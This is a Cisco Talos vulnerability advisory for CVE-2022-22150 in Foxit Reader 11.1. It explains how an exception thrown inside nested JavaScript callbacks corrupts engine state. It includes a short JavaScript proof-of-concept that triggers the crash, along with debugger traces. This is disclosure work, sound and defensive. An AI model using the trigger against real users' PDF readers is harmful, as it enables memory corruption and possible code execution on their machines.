Talos Vulnerability Report

TALOS-2022-1439

# Foxit Reader getPageNthWordQuads mishandled exception vulnerability

JANUARY 31, 2022

CVE NUMBER

CVE-2022-22150

## Summary

A memory corruption vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 11.1.0.52543. A specially-crafted PDF document can trigger an exception which is improperly handled, leaving the engine in an invalid state, which can lead to memory corruption and arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

## Tested Versions

Foxit Reader 11.1.0.52543

## Product URLs

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

## CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

## CWE

CWE-460 - Improper Cleanup on Thrown Exception

## Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exsists a memory corruption vulnerability in the way Foxit's Javascript bindings handle certain exceptions. More specifically , method `getPageNthWordQuads` can cause a C++ exception to be thrown which, under usual circumstances, would terminate further javascript execution. However, when such an exception happens during nested execution, such as during event handler or from a different function callback, exceptions can be caught while the rest of the code continues to execute. Thrown exception leaves javascript engine runtime in an inconsistent state, which can then lead to further memory corruption. To illustrate this issue, the following Javascript code can be used:

```
function main() {
 app.activeDocs[0].getField('txt3')['borderStyle'] = {toString:f1};
}

function f1() {
app.activeDocs[0].getField('txt3').buttonSetCaption({toString:f2});
}

function f2() {
app.activeDocs[0].getPageNthWordQuads(0,-1);
}
```

Above code uses a couple of properties and functions of `txt3` field to illustrate the point and make the crash context interesting, but the same vulnerability can be triggered in many ways. First, `borderStyle` is assigned a new value with an object whose `toString` points to `f1`. Since `borderStyle` expects a string, `f1` is immediatelly executed. Inside `f1` , `buttonSetCaption` is invoked in a similar manner, with an object whose `toString` points to function `f2`. Function `buttonSetCaption` similarly expects a string value, so `f2` is immediately executed. Inside `f2` , method `getPageNthWordQuads` is called with a second parameter being a malformed value. Second parameter is supposed to be an index of a word on a page and is supposed to be a positive value.

To see what happens, we can follow in the debugger, starting from the execution of `getPageNthWordQuads`:

```
00 004fdae0 031e3cb2     FoxitPDFReader!safe_vsnprintf+0xe33e98
01 004fdb34 0357371b     FoxitPDFReader!safe_vsnprintf+0xe06012
02 004fdb7c 03739129     FoxitPDFReader!FXJSE_GetClass+0x2cb
03 004fdbd0 037388bf     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
04 004fdc64 03738b81     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
05 004fdcac 03738a1b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
06 004fdcc8 038dfd37     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
07 004fdce8 0386e670     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
08 004fdd2c 038689bc     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
09 004fdd54 0386c1ff     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f4bcc
0a 004fdd68 0386c01b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0b 004fdd94 035aa406     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
0c 004fde58 035a9ee7     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
0d 004fded8 036244d9     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
0e 004fdf48 036276d6     FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb06e9
0f 004fdf7c 035d36bc     FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb38e6
10 004fdfa4 0359d317     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5f8cc
11 004fe020 03573d80     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x29527
12 004fe05c 0325694a     FoxitPDFReader!CFXJSE_Arguments::GetUTF8String+0x60
13 004fe0b8 03225412     FoxitPDFReader!safe_vsnprintf+0xe78caa
14 004fe10c 0357371b     FoxitPDFReader!safe_vsnprintf+0xe47772
15 004fe154 03739129     FoxitPDFReader!FXJSE_GetClass+0x2cb
16 004fe1a8 037388bf     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
17 004fe23c 03738b81     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
18 004fe284 03738a1b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
19 004fe2a0 038dfd37     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
1a 004fe2c0 0386e670     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
1b 004fe300 038689bc     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
1c 004fe328 0386c1ff     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f4bcc
1d 004fe33c 0386c01b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
1e 004fe368 035aa406     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
1f 004fe42c 035a9ee7     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
20 004fe4ac 036244d9     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
21 004fe51c 036276d6     FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb06e9
22 004fe550 035d36bc     FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb38e6
23 004fe578 0359d317     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5f8cc
24 004fe5f4 0356f768     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x29527
25 004fe654 03240ffe     FoxitPDFReader!FXJSE_Value_ToUTF8String+0x88
26 004fe6d0 032556a8     FoxitPDFReader!safe_vsnprintf+0xe6335e
27 004fe6fc 0322bf51     FoxitPDFReader!safe_vsnprintf+0xe77a08
28 004fe750 03573a02     FoxitPDFReader!safe_vsnprintf+0xe4e2b1
29 004fe78c 035d1942     FoxitPDFReader!FXJSE_GetClass+0x5b2
2a 004fe7e4 035e9163     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5db52
2b 004fe894 035e8ee3     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x75373
2c 004fe8d8 035e8ace     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x750f3
2d 004fe910 03854604     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x74cde
2e 004fe990 0384fe49     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2e0814
2f 004fea08 038dfc57     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2dc059
30 004fea28 0392b2ea     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36be67
31 004fea64 0386e670     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3b74fa
32 004fea8c 0386e670     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
33 004feab8 0386c1ff     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
34 004feacc 0386c01b     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe33e98:
03211b38 3bc6            cmp     eax,esi
03211b3a 0f8e30020000    jle     FoxitPDFReader!safe_vsnprintf+0xe340d0 (03211d70)
03211b40 0f8651020000    jbe     FoxitPDFReader!safe_vsnprintf+0xe340f7 (03211d97)
```

```
0:000> ?eax
Evaluate expression: 0 = 00000000
0:000> ?esi
Evaluate expression: -2147483648 = 80000000
```

Note in the above call stack a particular frame `FoxitPDFReader!FXJSE_Value_ToUTF8String+0x88`. Breakpoint is on a `cmp` instruction comparing values in eax and esi. Value in `esi` is derived from the negative value supplied to `getPageNthWordQuads`. First jump will fall through, but second one is followed to land at:

```
Breakpoint 2 hit
eax=00000000 ebx=1d004a68 ecx=00000000 edx=3c70ee60 esi=80000000 edi=00000000
eip=03211d97 esp=004fd9b0 ebp=004fdae0 iopl=0         ov up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a87
FoxitPDFReader!safe_vsnprintf+0xe340f7:
03211d97 e88438ffff      call    FoxitPDFReader!safe_vsnprintf+0xe27980 (03205620)
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe340f7:
03211d97 e88438ffff      call    FoxitPDFReader!safe_vsnprintf+0xe27980 (03205620)
03211d9c cc              int     3
03211d9d cc              int     3
03211d9e cc              int     3
03211d9f cc              int     3
03211da0 55              push    ebp
03211da1 8bec            mov     ebp,esp
03211da3 6aff            push    0FFFFFFFFh
```

We can note that the above call instruction is followed by breakpoint instructions, indicating that it never returns. This is indicative of an exception being raised.

```
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe27980:
03205620 683007b605      push    offset
FoxitPDFReader!google::LogMessage::kMaxLogMessageLen+0xa36ab4 (05b60730)
03205625 e8d0656c01      call
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x381a0a
(048cbbfa)
0320562a cc              int     3
0320562b cc              int     3
0320562c cc              int     3
0320562d cc              int     3
0320562e cc              int     3
0320562f cc              int     3
0:000> ba 05b60730
0:000> da 05b60730
05b60730  "invalid vector<T> subscript"
```

Indeed, an exception with message `invalid vector<T> subscript` is about to be thrown. Continuing execution through all of the exception chain reveals mostly empty handlers. To see where code actually resumes execution, we can break at NtContinue:

```
Breakpoint 9 hit
eax=004fc8e0 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=77823af5 esp=004fc818 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!RtlUnwind+0x145:
77823af5 e806720000      call    ntdll!NtContinue (7782ad00)
0:000> t
eax=004fc8e0 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=7782ad00 esp=004fc814 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtContinue:
7782ad00 b843000000      mov     eax,43h
0:000> t
eax=00000043 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=7782ad05 esp=004fc814 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtContinue+0x5:
7782ad05 ba60f18377      mov     edx,offset ntdll!Wow64SystemServiceCall (7783f160)
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=7782ad0a esp=004fc814 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtContinue+0xa:
7782ad0a ffd2            call    edx {ntdll!Wow64SystemServiceCall (7783f160)}
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=7783f160 esp=004fc810 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!Wow64SystemServiceCall:
7783f160 ff2528b28d77    jmp     dword ptr [ntdll!Wow64Transition (778db228)]
ds:002b:778db228=777b7000
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=777b7000 esp=004fc810 ebp=004fcbbc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
777b7000 ea09707b773300  jmp     0033:777B7009
0:000>
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=04988abc esp=004fcbd4 ebp=004fcbe8 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43e8cc:
04988abc 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:002b:004fcbf4=004fcdf8
0:000>
```

After exception unwinding, execution is back in Foxit code. Above instruction at `FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43e8cc` is simply a return point which restores execution, and it should return to a point in code outside the caught exception. And indeed:

```
0:000>
Breakpoint 11 hit
eax=0356f7df ebx=004fe648 ecx=0498f630 edx=006d0000 esi=060948e0 edi=004fe648
eip=0356f7df esp=004fe604 ebp=004fe654 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
FoxitPDFReader!FXJSE_Value_ToUTF8String+0xff:
0356f7df 32c0            xor     al,al
0:000> k
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 004fe654 03240ffe     FoxitPDFReader!FXJSE_Value_ToUTF8String+0xff
01 004fe6d0 032556a8     FoxitPDFReader!safe_vsnprintf+0xe6335e
02 004fe6fc 0322bf51     FoxitPDFReader!safe_vsnprintf+0xe77a08
03 004fe750 03573a02     FoxitPDFReader!safe_vsnprintf+0xe4e2b1
04 004fe78c 035d1942     FoxitPDFReader!FXJSE_GetClass+0x5b2
05 004fe7e4 035e9163     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5db52
06 004fe894 035e8ee3     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x75373
07 004fe8d8 035e8ace     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x750f3
```

From the above call stack, we can see that execution resumes inside `FXJSE_Value_ToUTF8String` function. A call to `ToUTF8String` javascript binding is performed when our javascript code invokes `buttonSetCaption`. During its execution, a redefined `toString` function `f2` is invoked. Since this exception is caught in `FXJSE_Value_ToUTF8String`, further javascript execution continues. Since previous fragments weren't executed to completion, this left the engine in an undefined state and quickly leads to memory corruption:

```
0:000> g
(2e0c.2378): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004c0000 ebx=3c789ff8 ecx=3c884ff0 edx=3c889f28 esi=004fdea4 edi=3c713748
eip=03606f8c esp=004fe130 ebp=004fe13c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitPDFReader!CFXJSE_Arguments::GetValue+0x9319c:
03606f8c 8b8884000000    mov     ecx,dword ptr [eax+84h] ds:002b:004c0084=????????
```

Above piece of code is part of V8's deoptimizer, which would perform various operations on the javascript code being executed. Due to memory corruption, a stack pointer ends up being masked and used:

```
03606f84 8bc6          mov     eax, esi
03606f86 250000fcff    and     eax, 0FFFC0000h
03606f8b 56            push    esi
03606f8c 8b8884000000 mov     ecx, dword ptr [eax+84h]
03606f92 e8b9451f00    call    FoxitPDFReader!CFXJSE_Arguments::GetValue+0x287760
(037fb550)
```

This ultimately leads to a crash. Since context and time of thrown exception can be controlled, as well as javascript code that gets executed afterwards, other means of memory corruption can be achieved. Above crash is just one example. With careful memory layout manipulation, this can lead to arbitrary code execution.

## Timeline

2022-01-11 - Vendor disclosure
2022-01-31 - Public Release

## CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

---

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.